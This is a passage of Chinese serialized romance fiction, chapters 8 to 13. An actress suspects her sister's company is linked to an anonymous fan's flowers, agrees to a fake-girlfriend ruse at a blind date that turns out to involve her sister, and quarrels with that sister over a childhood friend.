她有一个从演戏开始便一直支持自己的粉丝,从演戏开始每部剧杀青时都能收到一束鲜花,有时是郁金香有时是蝴蝶兰,花束无一例外包装得格外精美,送过来时晨露在沾在鲜嫩的花瓣上,娇艳欲滴,一看就价值不菲。
奇怪的是送花人一直未曾留下过只言片语,鲜花璀璨,却没有留言,也没有送花人的姓名,甚至连花店标识也无,一点信息也不曾透露。
直到去年的那部剧杀青时,才终于从花束上看到了一个用记号笔画下的标识。
那是一个倒8的标识,只是标识的右上方并没有封闭成环,而是像不小心写错了一样撇了出去,在环外形成三个黑色小点。
那时的她虽然有一些粉丝,但能费心赶在杀青时给她送花的也只有那么两三个,这其中‘它’送的花又是如此好辨认,最新鲜最昂贵,就连包装花束的纸张也和普通的花店用的不同,所以哪怕多了一个记号笔画下的卡片,也一眼认出这是陪伴了自己三年的‘它’送的。
对于这个粉丝,沈雅韵心里的感激一直要大于欢喜。
刚开始拍戏的时候,没资历没背景没人介绍只能从群演做起,蹲守在影视城门口,希望被某个导演看中,寒日酷暑,和无数怀揣着梦想的人共挤在一处,虽然知道这是应该,但在导演训斥、因为多了几句台词或镜头被同行的人排挤时也免不了委屈,也想过放弃,是那束花撑着她走过了那段难挨的日子。
那束花让她觉得不管怎样还有一个人默默的支持着自己,所以看到标识的一瞬间便记在了心上,希望有一天能有机会找到这个人好好感谢一番。
然而只是一个记号笔简单画下的标识,想通过这个标识找人无异于大海捞针,只好先将这事情放在一边,直到她刚刚看到沈雅歌同事的头像背景。
头像是在公司大门拍的,‘海曲’两个字横列在大楼上方,公司名字下方的标识让她呼吸瞬间一窒。
类似莫比乌斯环形状
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的标识,标识并未像莫比乌斯环闭合,右上方形同浪花一样的的轨道掠出了环外,将三点蓝色的水珠洒在了环外。
这样的标识和她记忆里的标识不能说一模一样,但要是用黑色记号笔简单描绘一下,莫比乌斯环不就是‘倒8’,掠出轨迹的浪花不就是‘倒8’横出去的一撇,最重要的是那三个小点,完全一模一样,只是位置或许是人手绘是精度不够准确,略有细微的差别。
看到标识的一瞬间她心里乱得不行,近在眼前的沈雅歌成了她第一个怀疑对象,不过荒缪的念头刚刚升起便被她打消了。
这人从她刚开始演戏时就开始送花,她开始演戏是毕业前的最后一年,就连父母都不知道她出去拍戏了,沈雅歌更无从得知……
是巧合吧。
那会是沈雅歌公司的人吗?还是只是个巧合?
那张手绘的标识在心头无意识的萦绕,平白乱了心神。
过了不知道多久,煮好的饺子终于端上餐桌。
沈雅韵因为标识的事心神不宁,沈雅歌也不知道因为什么看着手机拧眉,两人心不在焉无声的吃完了这一顿简单的午饭。
吃完后,沈雅歌识趣包揽洗碗的活。
没办法,她的厨艺是真的会将人吃进医院的那种,这么多年在厨房也只能做些杂活,打打下手。
沈雅韵率回房,刚走进房间还没坐下便看到一个消息弹窗跳出,点开后眼中闪过茫然。
乔霖【雅韵,能帮我个忙吗?】
*
时间一眨眼来到大年初六,沈雅韵的烧已全退,感冒在她身上留下的痕迹只剩轻微的鼻音。
这天一大早,沈雅韵穿上白色大衣,戴上蓝色围巾、白色帽子,脚踩着白色雪地靴,不等和父母多交代便出了门。
走出门,坐电梯直达停车场,走向停留的奥迪,不等她走近,车门便已打开,乔霖下车打开副驾车门,笑容温和等待在侧。
“雅韵。”
“乔霖哥。”
沈雅韵微笑回应,习惯性左右看看,见没人连忙上了车,上了车下意识往外看了一眼,意外发现自家车位上空空荡荡,以往停着的沈雅歌的车此刻不见踪影,心底升了点疑惑。
沈雅歌去哪了?
出神想了一瞬,没发现乔霖已经坐在了主驾驶位,更没想到见她发呆,乔霖便倾身过来给她系安全带。
阳光不失清新的柠檬香蹿入鼻窍,瞬间让她闹了个大红脸,只好僵着身子等他扣上。
还好只是一瞬间的事,乔霖扣好安全带便坐回了原位,她的紧张也松懈了几分,但一想到等下要做的事,栗眸瞬间沾染了几分不安,然而不等她说话,乔霖转手拿出一个物件递到她面前。
沈雅韵定睛一看,是一个黄色的猫头布偶挂件,除了颜色和她包上挂着的布偶不一致,其余都一致,一看就是同一个ip的产物。
“一直没找到机会送你,喜欢吗?”
9. 第 9 章
黄色可爱猫布偶在乔霖指尖轻轻摇晃,沈雅韵惊喜接过,栗眸跳跃着欢喜的光点,喜欢得不知道该说什么好了,惊喜看向乔霖。
“乔霖哥,你怎么会买这个。”
乔霖笑意温柔。
“看到你在采访的时候提过,便想着带一个。”说着他看了看她包上挂着的橙紫布偶,目光浅浅闪动了一下,“不过没想到你已经有了……”
他轻垂着头,细碎的发丝落在光洁的额头上,眼底愧色渐浓,笑意也似乎因为羞愧淡了两分。
沈雅韵顺着他的视线看向自己包上的布偶,心里一慌,连忙表明自己很喜欢这个礼物。
“我很喜欢的,谢谢你。”
“喜欢就好。”听到她说喜欢,乔霖棕眸带了笑,也不似之前低落。
“本来我也想送你那个款式,”他看向沈雅韵包上那个限定版玩偶,有些无奈,“但没抢到,雅韵可别嫌弃。”
“乔霖哥你说的什么话,什么嫌弃,喜欢还来不及呢~”沈雅韵不喜欢他这样说,带了几分嗔怒将两个玩偶放在一处,嬉笑道,“两个颜色刚好轮着带,正好我嫌一个颜色太单调了~”
车里的氛围温馨欢悦,乔霖轻柔笑着瞥过她包上的橙紫布偶,启动车辆。
因为这件事情一打岔,沈雅韵忘记了紧张,完全放松下来,将黄色玩偶悉心放进自己包里。
“对了,限定版是谁送的,我抢了好几次都没抢到,这人手气真好。”手速也快。
这个ip的限定版玩偶每次只上架三个,次次不到十分之一秒便售罄,乔霖状似无意问她,直视前方,余光却在偷偷观察她的反应。
沈雅韵愣了一下,有些犹疑,“应该也还好吧,沈雅歌送我的,她运气好,送客户的路上看到买下来了。”
“雅歌?”
“嗯嗯。”
乔霖愣了一下,没想到是沈雅歌送的,运气好么?眼眸微眯,稍微一思索便明白了这又是沈雅歌惯用的借口,不过到底不影响他,之前因为各种猜测而紧绷的心情终于松懈,“那就好。”
“什么?”
乔霖微不可察松了一口气,薄唇轻勾,望向沈雅韵懵懂的栗眸摇头轻笑,放松下来的身体靠在背椅上,带了几分随意,“没什么,这次事情你能帮我,实在不知道该怎么感谢你才好。”
提到那件事,原本放松靠在背椅上的沈雅韵不安坐直身体,想起今天的事,再次不安看向乔霖,“乔霖哥,这样真的能行吗?李姨知道了……”
乔霖轻笑,“放心,不会有事的。”
“可是……”
万一将别人姑娘惹恼了找李姨告状,自己在李姨心目中的形象不就变成了毁坏乔霖哥婚事的罪魁祸首……
似乎知道她在想什么,乔霖温柔安慰,看着她棕色带绿的眸子多了几分祈求,“就这一次,一回来她就要我相亲,其他的都拒绝了,就这一个,也不知道是哪家的姑娘,怎么也推不了,拜托了,雅韵。”
“好,好吧。”
乔霖真挚的看着她,让她唯一一点疑问埋在心底没有问出声。
其实想问为什么不找沈雅歌扮她的女朋友而是找自己,但既然已经答应了,问这些反而显得她莫名其妙斤斤计较,便也打消了想法。
车开了一路,在高大的梧桐树下停了下来。
因为是冬天,梧桐树上的树叶枯黄,树枝也不似往日茂密,稀稀疏疏的挂着几片枯叶,风一吹发出哗哗响声。
两人下车,鞋子踩在梧桐叶布满的主道上发出清脆声响,像是酥脆的薯片或者是童年记忆里薄薄脆脆的小饼干。
这样的联想一起,顿时生起几分好笑。
难道看到餐厅就饿了,怎么会想到这些……
沈雅韵暗自摇头,紧绷的情绪却因为刚刚打岔的思绪
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消散了几分,对接下来的事多了几分壮志凌云。
既然答应了乔霖哥自然要把事情办好,不就是扮演女盆友么,演戏,她可是专业的!
心底偷偷给自己打了气,紧跟着乔霖走进餐厅,一边偷偷将帽子压下了一点。
演戏归演戏,今天脸却是不能露的,不然相亲的姑娘一个上网揭发,花边新闻铺天盖地盖过来,她的演艺生涯怕不是要到头?
围巾扯紧,帽檐压低,亦步亦趋跟着乔霖走进餐厅,打量餐厅环境,看起来担心是多虑的,这家餐厅要预约才让人进。
沈雅韵放心了一点,帽子围巾却依然不敢摘下。
“18。”
乔霖报出预约的包厢,前来接待的服务员点头走在前方带路。
两人并行跟着走,13、14、15……
经过一个个包厢,已经能看见18号房一角,她有些好奇又有些紧张的往18号包厢探去,心里想着等下要说的台词。
怎么说好呢?先开口是不是落了下风?电视剧一般怎么演来着?
男主角牵着她的手,义正言辞走到相亲对象面前,这时候相亲对象看见他们牵在一起的手表情先是震惊,随后愤怒,指着他们这对狗……不对,指着他们这对情侣说‘你们……’
表情一定要震惊愤怒,同时感觉到被羞辱,然后一般就不用说什么了,女配自己会跑走。
模拟想象了一下场景,沈雅韵觉得这是个好办法。
首先嘛这第一步,先牵……
手刚伸出去一半,目光对上一双意料之外的清冷双眼,脑子还没反应过来,手紧急缩回,身体连忙倒退。
“雅,韵?”
沈雅歌看到进来的两人还来不及惊讶,目光瞬间锁定后退的身影,缓缓叫出妹妹的名字后,眼底冒了火光,眼眸危险眯起,看向站在妹妹身前的男人。
乔霖……
10. 第 10 章
乔霖也没想到包厢里的是沈雅歌,嘴角挂着的笑瞬间僵住。沈雅韵则是如同见了猫的耗子,在她唤出声后僵在原地,苦着脸慢慢走了回来。
三人相对而坐,服务员退下。
沈雅歌坐在靠里面对着大门这侧,乔霖在她正对面坐下,沈雅韵不敢看沈雅歌,下意识坐在了乔霖身边的位置。
“咳……”
一声轻咳后,沈雅韵抬头望了望两人,站起身乖巧坐到沈雅歌身边。
眼见妹妹坐过来,沈雅歌压着怒火的眼眸缓和不少,不过依旧严峻,目光在他们二人之中转了一圈,最后定格在乔霖身上,眼眸眯了眯。
“你们怎么会一起来?”
乔霖没有说话,像是口渴了,拿起桌上的水杯先喝了一口杯中的水,杯身温热,纯白的杯口挡住沈雅歌像是要吃人的目光,脑海飞速旋转。
怎么回事?为什么会是沈雅歌?
他仔细梳理着母亲的话,偶然想起前两天母亲有意无意问了一句。
那是在饭桌上,母亲和他聊着家长里短,忽然说到沈家姐妹俩,说刘姨教导有方什么的,说着说着突然问他。
“你觉得沈家的姑娘怎么样?”
因为母亲问得太过自然,完全就像是聊家长时随口一问,他自然也没多想,沈雅歌不是他能评价的,自然而然想到雅韵。
想起那个可爱的姑娘,眼里不由带了笑,回了一句‘挺好的’。
难道就是那次试探才定下了今天的相亲?
可是沈雅歌怎么会同意?难道……
想到一些东西,大致有了猜测后,乔霖将白瓷杯缓缓放下,心中已然有了应对之法,神色坦然地对上沈雅歌近乎审视的视线,温和的笑了笑,笑容中带了几分无奈。
“原来是你,我说我妈她怎么……”他声音不急不缓,无奈扶额,“我也是被我妈逼得没办法才找了雅韵帮忙假装我的女盆友,早知道是你就不用这么麻烦了。”
沈雅歌闻言没有说话,长睫轻轻垂下,似乎是在考量他话语的可信度有几分。
沈雅韵低着头不敢说话,内心无声呐喊:刘文慧女士和李姨到底在搞什么幺蛾子?
他们两家住这么近,想让他们见面直接叫到家里就好了啊,搞这么一出乌龙!
压住心底若有若无的酸意,心底默默腹诽。
气氛沉默僵持,过了一会沈雅歌才开口,意味不明看向乔霖。
“怎么不找我?”
乔霖沉默,深棕的眸子晦暗了一瞬,唇角微抽,笑容不似刚刚平静。
他抬头,目光掠过抚着杯沿的沈雅歌,沈雅歌面容沉静,眼睑沉沉压下,像是火山爆发前压抑的熔岩,沉闷中带着危险。
再悄悄瞥过她身旁低着头看不到神情沈雅韵,心底无奈叹了口气。
这话问的,不知道的还以为她喜欢自己呢……
虽然有些无奈沈雅歌的说话方式,乔霖还是耐着耐着性子解释了一番。
“我以为你公司很忙,在家待不了多久就要离开。”他抬头无奈道,“而且你根本不会答应做这种事。”
沈雅歌她什么样自己一清二楚,别说一开始就没想过让她假装自己女朋友,就是想到了也会立刻打消这个念头,以她的性格压根不可能同意。
原来只是因为觉得沈雅歌不在才找到自己,埋在心底的疑惑终于有了解答,沈雅韵头不由更低了点,她还以为……
想来想去觉得自己那点错觉太过可笑,心底酸涩又不服气,拿起眼前的水杯猛喝了一口。
沈雅歌视线扫过妹妹的动静,没有反驳乔霖的话,她确实不会同意,找雅韵帮忙的理由似乎也很正常,但还是没有就此放过。
“你可以找其他人。”
“我才刚回国,”乔霖苦笑一声,多少有些无奈,“八年不见,能联系上的人寥寥无几,情急之下也只能想到雅韵了。”
沈雅韵这才抬头,听乔霖这么说,猛然想起他在异国他乡那几年,远离亲朋好寻又要照顾生病的父亲,压力肯定不小,心底的酸意转为心疼,看了看沈雅歌,帮着打圆场。
“呵呵呵,我妈和李姨她们也真是,想让你们见面直接在家里不就行了,还特地把大家叫出来……”
她嘀咕着,试图缓和包厢内的紧张气氛。
“嗯,都是误会。”
乔霖也跟着附和,两方攻势下,沈雅歌目光终于从乔霖身上移开,转而看向一旁装乖巧的妹妹,眸光幽暗。
“所以你昨天不愿意和我一起出来,就是因为要陪他?”
这是什么话!
沈雅韵险些惊得从凳子上摔下去,脑子一激灵,对上沈雅歌幽暗的眸子,想到昨天的事,顿时慌张,结结巴巴解释道。
“乔霖哥先跟我说好的,我答应了他,”她有些心虚,被沈雅歌这么一说好像她真的重色轻姐一般,声音渐低,“再说你又没说是什么事……”
沈雅歌只说能不能在今天这个时候陪她出去一趟,她想着答应了乔霖怎么也不能失约,况且也不想逛街,就拒绝了,谁知道两人原来是为同一件事出门……
“还有这样的事?”乔霖目露诧异,看着姐妹二人,语带歉意,“怪我,是我一直求雅韵帮我,倒是打扰你们相处了。”
“才不怪你,谁知道我妈她们会这样……”沈雅韵小声辩解。
眼看这两人一唱一和,沈雅歌的面容不见好转反而更加阴郁了,直到沈雅韵转过身,面色才好看上那么几分。
“你是被妈骗过来的?”沈雅韵好奇道。
沈雅歌点了点头,眉眼间的郁色散了一点,“她一定要我来。”
“那你就见了?”沈雅韵诧异,说完才觉得这话有歧义,连忙解释,“不是,我的意思是你不是一向不听她的话的吗?”
这次怎么会顺应刘文慧女士的话乖乖赴约?还是相亲这种事。
“她催了很久。”沈雅歌沉默,眸光微闪。
母亲从前两年就开始操心她的婚姻大事,一开始还不明显,去年变本加厉,于是她直接表明对结婚
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一事没有兴趣,目前只想发展工作。本以为这样能打消她的念头,没想到听了这些话,母亲反而更着急地给她安排相亲对象。
自十二月开始便一个消息一个消息地打听她回家的消息,她没有理会,甚至在考虑母亲如此不理智的情况下是不是不回去更好,直到沈雅韵给她发消息。
这样就不得不回了,也有了今天这场相会……想到这些,沈雅歌便有种说不出的烦躁郁闷。
乔霖见她面色不愉,不用想也知道她和自己一样被母亲催得没办法,轻笑着打圆场。
“长辈总是操不完的心,"乔霖轻笑,眸光温和,“不管他们了,我们聚在一起也是难得,就当是为我接风洗尘吧。”
说完他举起手上的水杯,温柔地看着对面分隔八年不见的好友,"雅韵,雅歌,好久不见。”
此话一出,沈雅歌和沈雅韵都有些愣了,面上俱浮现出些感慨。
“欢迎回来。”
“欢迎回来。”
气氛缓和,三人分别点了几个菜,吃了一点东西,回忆少年时的趣事,交谈几年间各自的经历,倒也其乐融融,
过了一会沈雅韵上洗手间,只剩沈雅歌和乔霖坐在包厢,两人面对面,气氛忽然凝重起来。
沈雅歌切下手底下鹅肝放在面包上,突然开口。
“一直没来得及问你,当年你出国前的那封信是什么意思?”
乔霖拿着餐刀的手忽然顿住,惊讶在眼底一闪而过。
过了一会他皱着眉好似努力回想着什么,不解地看着她。
“什么信,我忘了。”
沈雅歌一直盯着他,自然不会错过他眼底的错愕,对于心底的猜测有了答案。
有了答案,便不去看乔霖拙劣的表演,低头继续切下一块指头大小的鹅肝。
餐刀在她盘中划动,乔霖看着泛着银光的刀具,心焉得一寒。
“你借给韵韵的数学书,里面夹着的信,我看过。”
沉默,死海一样的寂静,无声的对峙在二人中间弥散,最终,乔霖败下阵来。
他有些无奈地扶了扶额头,没想到沈雅歌从那么早就开始怀疑自己了,更知道对面人的敏锐和对沈雅韵的在意程度,他的任何的狡辩都是徒劳。
哪怕他那封信没有任何出格的话语,只是落笔时笔尖不小心泄露了一点喜欢的情绪。
“被你发现了……”唇边笑意苦涩,轻轻叹了一口气,解释了一下,“那件事,是我思虑不周,但我出国后就没和她联系了。”
“况且,那只是我的一厢情愿……”
他把信夹在书里递给沈雅韵的时候是在出国前一周,一周时间,沈雅韵一点反应也无。
他们几人出国,沈家一家人都来送了,临行前,沈雅韵依依不舍的叫他‘乔霖哥’,神情除了依赖的不舍没有一点异样波动时,他就知道雅韵无意于他。
沈雅歌拿着餐刀的手忽然放下,终于正眼看了他一眼,目光淡淡。
“因为我把信收起来了。”
11. 第 11 章
“你走后,我才把信给她。”
没想到中间还有这么一回事,乔霖先是一怔,眼眸垂下,有点释然又有点感激。
“谢谢。”
沈雅歌不解,乔霖温声解释,“把信递出去我就后悔了,家父生病,我去M国也不知道多久能回来,不让她知道才是最好的。”
后悔却也残存着几分侥幸,希望沈雅韵看到又希望她看不到,最后还是理智占了上风,不能给人承诺便不要开始,于是出国后故意以时差为借口,不及时回复她发来的消息,让彼此之间的联系越来越淡,直到再无联系。
但那也是出国后的事了,出国前一周他还处在少年人的纠结里,倘若雅韵那时候给与肯定的答复,未必能做到毫不动摇,还好沈雅歌帮他做了抉择。
出乎意料的反应,乔霖道谢的真心实意,这让准备翻旧账的沈雅歌一时沉默,不过很快她的眼眸又锐利起来,直视向乔霖。
*
卫生间洗手台,水声哗啦,将水关闭后,沈雅韵从一旁挂着的纸盒抽出纸,仔细将手上的水珠全部擦干净,将纸巾扔进垃圾桶,抬步走回十八号包厢。
一走进去便感到包厢间氛围古怪,脚步下意识放慢,小心看着包厢里沉默着的两人。
乔霖一向温柔的面色似乎有些不太自然,沈雅歌神情倒是比一开始要好得多,放松靠在身后的扶手座椅上,见她进来也是温和的看着,把她座位的椅子拉开。
沈雅韵顺势在她拉开的椅子坐下,看了看乔霖,又看了看她,目露疑惑。
她不在的这段时间里两个人说什么了?
包厢内一时安静得只能听到包厢外服务员走动的声音,没人开口说话,气氛沉闷又窒息,向来受不了这种氛围,有话直说的她便看着沈雅歌开口问道。
“你们,怎么了?”
问的有点小心翼翼,沈雅歌面色不变,若无其事拿起面前的杯子喝了一口,不着痕迹看向乔霖,慢慢出声,“没事,说有一个老人去爬山,结果爬到一半上不去被人抬了下来,我们在说他应该量力而为。”
噢,原来是这样,听闻是此事,沈雅韵不以为意拿起餐刀吃着餐盘里的食物,顺便发表自己的观点,“那确实是,人要服老,身体机能不行就不要逞强了。”
就像她爸妈以前也喜欢没事去爬爬山,现在膝盖不行就不爬了。
听到‘服老’,乔霖面色不知为何似乎更灰暗了一点。
沈雅韵忍不住担心询问,“乔霖哥,你没事吧?”
乔霖摇摇头没说话,面色灰暗,似乎遭受了什么打击般,沈雅韵还是不能完全放心,乔霖再三强调自己无事,她这才做罢,心不在焉吃着盘里的东西,怀疑的看了一眼身旁的沈雅歌。
不知道为什么,总觉得乔霖不开心跟沈雅歌有关,但乔霖不说,她也不好意思再追问下去。
三人都吃得差不多后离开餐厅,走到梧桐树下。
乔霖和沈雅歌的车都停在种植梧桐树的大道上,只不过沈雅歌的车停在更前面,与乔霖的车隔了好几辆车,所以一开始两人都没发现。
既然沈雅歌在,沈雅韵自然是坐她的车回去。
沈雅韵先行上车,沈雅歌看了一眼乔霖后,打开主驾驶的车门上去。
乔霖则站在原地目送二人离开后,才踩着铺满了大道的梧桐叶走上自己车。
坐在车上后,无奈的抹了一把脸,倍感心累的闭上眼。
坐了一会忽然又坐直了身体,手向上伸,打开了只有看车况时才会打开的车内后视镜,镜子里的脸轮廓分明,鼻骨弧度刚好,挺拔却不会让人感到锐利,眼眸深邃棕色带绿,好似热带雨林中生机盎然的绿植,浪漫多情,这样一张脸便是进娱乐圈也丝毫没有问题。
然而此刻镜子中英俊的脸眉头紧皱,似乎在仔细辨别着什么,过了好一会,乔霖才关上后视镜,幽幽叹了一口气。
真的老吗……
梧桐叶被风吹得沙沙作响,关上窗的车厢却一点也听不到。
两人上车后沈雅韵一直没出声,因为她怀疑沈雅歌刚刚欺负了乔霖,不然人好端端的,面色为什么会突然这么难看。
这种怀疑潜藏在心底,一直到沈雅歌开口更加验证了她的猜想。
“少和乔霖接触。”沈雅歌语气冷冰冰,听不出什么意味。
“为什么?”沈雅韵不解,盯着手机的头焉得抬起,放在膝上包包跟着动作,小猫布偶挂件发出清脆声响。
沈雅歌没有解释,从上车起便一直轻拧着的眉心此刻拧得更紧。
“少和他来往就是。”
沈雅韵收起了手机,也不看视频了,盯着开车的沈雅歌看了一会,神情忽而多了几分古怪,目光闪了闪,不服气道。
“乔霖哥虽然和你关系好,但他以前照顾我这么多,你说不接触就不接触,管得太宽了吧……”
低声嘟囔的话一字不落落进沈雅歌的耳蜗,眉心蹙紧,眉眼间染了几分烦躁,想到妹妹说乔
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霖‘照顾’她,更是心烦不已。
照顾,好一个照顾。
该死的乔霖,她那时才十六岁……
心下烦躁,想到要不是因为乔父生病,乔霖出国,差一点就让乔霖在自己眼皮子底下把妹妹迷惑了,一想到这个沈雅歌就生气,话音哪怕压抑也难免带出了几分怒气。
“他在M国这么长时间,你了解他多少?或许他根本不是你想的那样——”
“沈雅歌!”
沈雅韵瞪大了眼看着她,不假思索打断,怎么也没想到这样的话从她口中道出。
“你怎么能这样怀疑乔霖哥?他可是和你从小一起长大,相处十九年,你怎么能这么说他?”
他们家和乔家做邻居二三十年,她们和乔霖更是从开始走路时便玩在一块,沈雅歌更是,和乔霖同一年出生,上学都是在一起。
同进同出十六年,一直到两人高考上了不同的大学后,这才分开。
她怎么能说这种话?
听她维护乔霖,沈雅歌心底烦躁越发明显,眉心拧着。
“八年,八年时间足以改变一个人,你怎么能肯定——”
“沈雅歌!”沈雅韵尖声打断她的话,不可思议看着她,震惊摇头,“你简直不可理喻,变的是你吧,你怎么变得这样冷漠无情?乔霖他……”
质疑的话尖锐的在车厢内响起,像是滴滴响起的警报,面前一辆电动车猛然蹿出,沈雅歌猛地刹车,车停下来,两人不约而同往前倾倒后停下。
突然的变故让车里变得安静。
沈雅韵惊魂未定的大口喘着气,白气一会呼出一会消散,消散了几个来回,这才想起来看沈雅歌。
沈雅歌手撑在方向盘上,因为刚刚骤然停下,苍白的指节紧握着方向盘,她敛着眸,身上的躁意不知何时转变为一种奇怪的低沉。
“你,你没事吧?”她有些记不起刚刚的愤怒,担心占据上风。
沈雅歌低垂着头,似乎是在思考又像是在回忆着什么,过了一会终于转过头,抬起眼。。
深色的棕瞳在车厢里幽暗不已,眼底神色复杂,像是疲惫又像是叹息,她张了张口,飘忽的话语浮荡在车厢上方,像是找不到同伴的候鸟,孤独盘旋在遥远的天际。
“我没有变。”
变的是你,雅韵。
在漫长岁月里,我才是被你突然抛开的那个人。
像是被玩腻了的玩具,一点缘由都无,被抛在充满尘埃的角落。
12. 第 12 章
“我没变。”
听她还犟着不肯承认自己做错了,沈雅韵心底被惊慌压下的怒气又升了起来,抿着唇留下一句。
“不可理喻。”
车辆重新启动,一路安静回到家。
她先行下车,也不等沈雅歌,自行往家里走。
沈雅歌隔着车窗看着她的背影远去,口张了张,似乎要说些什么时,口袋忽然振动了一下。
拿出放在侧边口袋的手机,看到发来的消息,眸光再次变得幽暗。
沈雅韵先回到家,一打开门便看见坐在餐桌前的父母,餐桌上只有父亲手边泡着茶的杯子,两人坐在餐桌前,好像专门等什么人似的,刘文慧奇怪的打量了她一眼。
“去哪了?天都快黑了才回来。”
沈雅韵还生着沈雅歌的气,此刻面对母亲的问话也没心情理会,快步走回房间将门外的一切声音隔绝。
“这孩子……”
刘文慧皱眉,忍不住低声抱怨一二,过了一会,大门钥匙孔再次转动,大门打开,沈雅歌走了进来。
刘文慧看着她眼里瞬间带了光,激动凑上前,刚走进,眉目一转又想到什么。
“你们一起回来的?”
她指的自然是沈雅韵,两人一前一后回来,大概率是一起。
沈雅歌没有回话,低着头换下脚上的鞋。
刘文慧没得到回复也不在意,她更关心的是另一件事。
“见到人没?怎么样?”
沈雅歌闻言动作为之一顿,皱了皱眉,等换好鞋,站起身无奈看向母亲。
“下次别安排这种事了。”
说完抬步走开,径直走回房间,刘文慧的话在她身后紧追。
“那是乔霖啊,我想着你们知根知底又一起长大,乔霖那孩子这么好——”
‘砰——’的一声关门声,话音撞上门板落下,刘文慧半住了口,紧接着掉转了个方向,对着丈夫抱怨。
“乔霖都不喜欢,真不知道她要看上什么样的……”
“孩子的事你急什么?”沈父轻喝着茶水,不理解她焦急什么。
在他看来大女儿事业有成,远远比他们两个老的见得更多,见识更广,她的事他们未必能帮上忙,或许添乱也不一定。
“我能不急吗?这都多大年纪了,还一天天的一天不上心……”
听丈夫不站在自己这边,刘文慧皱着眉更加烦躁数落着。
声音被两扇门板隔绝在外,一直到第二天早上沈雅韵都没有出过房门一步,直到被腹中饥饿感唤醒。
人在饥饿的时候因为无力更不想起床,阳光明媚,沈雅韵想再躺一会,却又知道这样饿下去得低血糖了,撑着爬起刷牙洗脸,走到客厅。
她起床起的晚,蹭不上母亲做的早餐,只好自己动手煮面。
烧开水,放下面条和青菜,捞起面,就这样将就着吃着。
在她煮早餐的时候,在阳台晒衣服的刘文慧女士听到动静,收下晒了两天干燥的衣服,将衣服搭在手臂上慢慢走进来,看到她碗里只有几根绿油油的青菜,清汤寡水,顿时皱眉。
“吃这么素,一点营养也没有,好歹加个蛋啊。”
刘文慧以她教书多年从各个方面得知的营养学知识批评道。
昨晚没吃晚饭的沈雅韵饿得没力气说话,那还管碗里是青菜还是蛋,能填饱肚子就行。
见状刘文慧又是不满嘀咕,“让你昨天不吃饭,你姐也是。”
说完面上忽而浮现担忧神色,“她早饭不吃就走了,也不知道在路上有没有买点吃的,一个两个不让我省心。”
沈雅韵刚把最后一口面吸溜进肚,此刻听见母亲说沈雅歌走了,顿时一愣,不明白是什么意思。
“她走了?去哪?”
她记得她不是明天的车程回去吗?
“一大早就走了,说是公司有事,”刘文慧眉头紧皱,显然很不满,“什么公司啊,大过年也不让人好好休息……”
不满的念叨了句,也不管还呆愣着的小女儿,将手上的衣服拿回房间。
沈雅韵愣了一会,心里说不清的滋味。
到底是公司有事还是为了避开自己?
昨天晚上回去后,梦里梦见沈雅歌最后看自己的眼神,当时明明很愤怒,但在梦里看见那眼神时却无端悲伤起来,等今天早上睁眼一看,头一侧湿漉漉的,竟是被泪水打湿了。
怒气早就消散,只觉得自己昨天说的话确实太重了一点,沈雅歌也是担心自己,不管怎么说,她不该吼她的。
本想吃完早餐找沈雅歌道个歉,外加想问问她公
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司的事,海曲公司的标识和送花人的标识那般相像,她想打听看看有没有送花人的线索,谁知人已经走了,酝酿的道歉话语胎死腹中,一时不是滋味。
沈雅歌走后的一天,乔霖发消息说回医院上班了,他们工作都忙,只剩她一个闲人待在家里天天和刘文慧女士抬杠。
刘文慧女士气得不行,到后面时不时打听她的上班时间,一开始沈雅韵没确定也就没告诉她,刘文慧便嫌弃的天天念叨着让她早点回去上班,别在家里待着。
后来确定开工时间是在元宵节后五天时,刘文慧女士又忽然闭了嘴,不再说那些嫌弃的话,也懒得和她抬杠。
耳边一时清净了许多,十分不适应。
这样的日子一直持续到离开那天,把她送到车站后,三人站在进站口前,刘文慧女士向来挑剔向上的眼角忽然垂了下来,流露出几分不舍,殷殷叮嘱。
看着母亲鬓角边的……两根白头发,仔细找了一找,沈雅韵心中为之一动,酸涩情绪忽起,努力吸了一下鼻子,忽然生了几分豪气。
“爸,妈,我给你们买辆车吧,省得出门不方便。”
家里用了好几年的车在春节前半个月出了故障报废,家里两老便一直没有买新车。
她现在好歹也赚点钱了,买一辆车还是买得起的。
刘文慧眼角湿润,沈雅韵眼眶也跟着湿润。
过了一会,刘文慧叹息地拒绝了她,沈雅韵更加感动,虽然母亲天天念叨她的不是,但还是心疼她,不舍得花她的钱。
越是这样给他们买车的念头越发强烈。
“妈,你别说了,我现在就给你打钱。”唔,五十万应该差不多吧……
转账手续不是那么容易,刘文慧欲言又止,又止……最后还是强行按住她打款的手。
“不用了……”
“妈!”
“你姐给我账户上打了两百万买车……”
“……”
沉默,沉默是今晚的康桥。
沈雅韵迅速收回按在支付密码上的指尖,伤感的情绪顿时消失,快速和二老道别,若无其事过完安检,若无其事上车,若无其事坐下。
高铁启动好一会儿,沈雅韵这才捂住通红的脸。
好吧,她就是全家最没用的人,嘤嘤呜……
13. 第 13 章
回到C市拍戏的日子忙碌而充实,等劈天盖地的‘女神节’宣传占据眼球,沈雅韵才恍恍惚惚意识到原来离离开家已经大半个月过去了。
妇女节又过了三天,剧组终于放了一天假。
不过她也没有想出去逛的想法,难得的休息日,连轴转了二十多天的身体和大脑迫切想躺在床上,什么也不管的睡上一天。
拉上窗帘关上灯,一觉便睡到第二天下午,沈雅韵从床上坐起,懵懵地坐了一会,窗帘拉着,只能从窗帘透露出的微光大致判断是白天。
拿过随手扔在枕头边的手机一看,下午两点,又坐着清醒了一会,这才循着微弱的光线走到窗帘前,一把拉开遮光帘,和窗外热烈的阳光打了个照面,当即被耀眼的日光刺得眯起了眼,朦胧的大脑也瞬间清醒许多。
刷完牙,随意吃了点东西后,又躺回了床上,找了个舒服的坐姿,懒洋洋打开了最近很喜欢的一部剧。
沉浸在剧集里的时间总是让停下不下来,等她追平最新一集,抬起头,天早已黑了,肚子也饿得不成样。
连忙点了个外卖,点好看了下时间,距离送过来还有半小时,想了想顺势用小号打开大眼,看看这几天错过的新闻。
各式各样又好像千篇一律的娱乐新闻从指尖飞快划过,沈雅韵也从一开始的津津有味变得没了兴趣。
天天都是一样的通稿,各大公司宣传部能不能有点新意?
想了想还是点开了自己大号,令她诧异的是大号粉丝数距离她上次看的时候涨了三万,也就三天没看,发生什么事了吗?
有点惊喜又有点好奇点开动态查看。
大号的最新动态还停留在她元宵节时发的祝福,那条本来才五万的点赞,现在已经涨到三十万了。
点开动态,评论都是祝福。
【韵宝元宵节快乐(撒花)(撒花)】
【今天的韵宝好像年画上的童子,太可爱啦(可爱)(可爱)】
